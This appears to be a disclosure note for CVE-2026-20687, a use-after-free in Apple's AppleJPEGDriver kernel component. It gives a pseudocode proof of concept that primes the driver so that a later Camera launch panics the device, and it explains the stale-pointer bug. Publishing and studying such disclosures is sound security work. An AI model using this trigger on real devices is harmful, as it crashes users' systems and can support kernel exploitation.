
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — iOS/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Author: Johnny Franks (@zeroxjf)
Component: Kernel
Impact: An app may be able to cause unexpected system termination or write kernel memory
Description: A use after free issue was addressed with improved memory management.
This will kernel panic your device. Save your work.
Tested on iOS 26.3 (23D125) on iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Direct trigger:
// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Later, opening Camera triggers:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: does NOT dequeue (req + 0x78)
// Later still (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // UAF read of req+0x80 -> MTE tag fault -> panic
ios-app/Test.xcodeproj in Xcode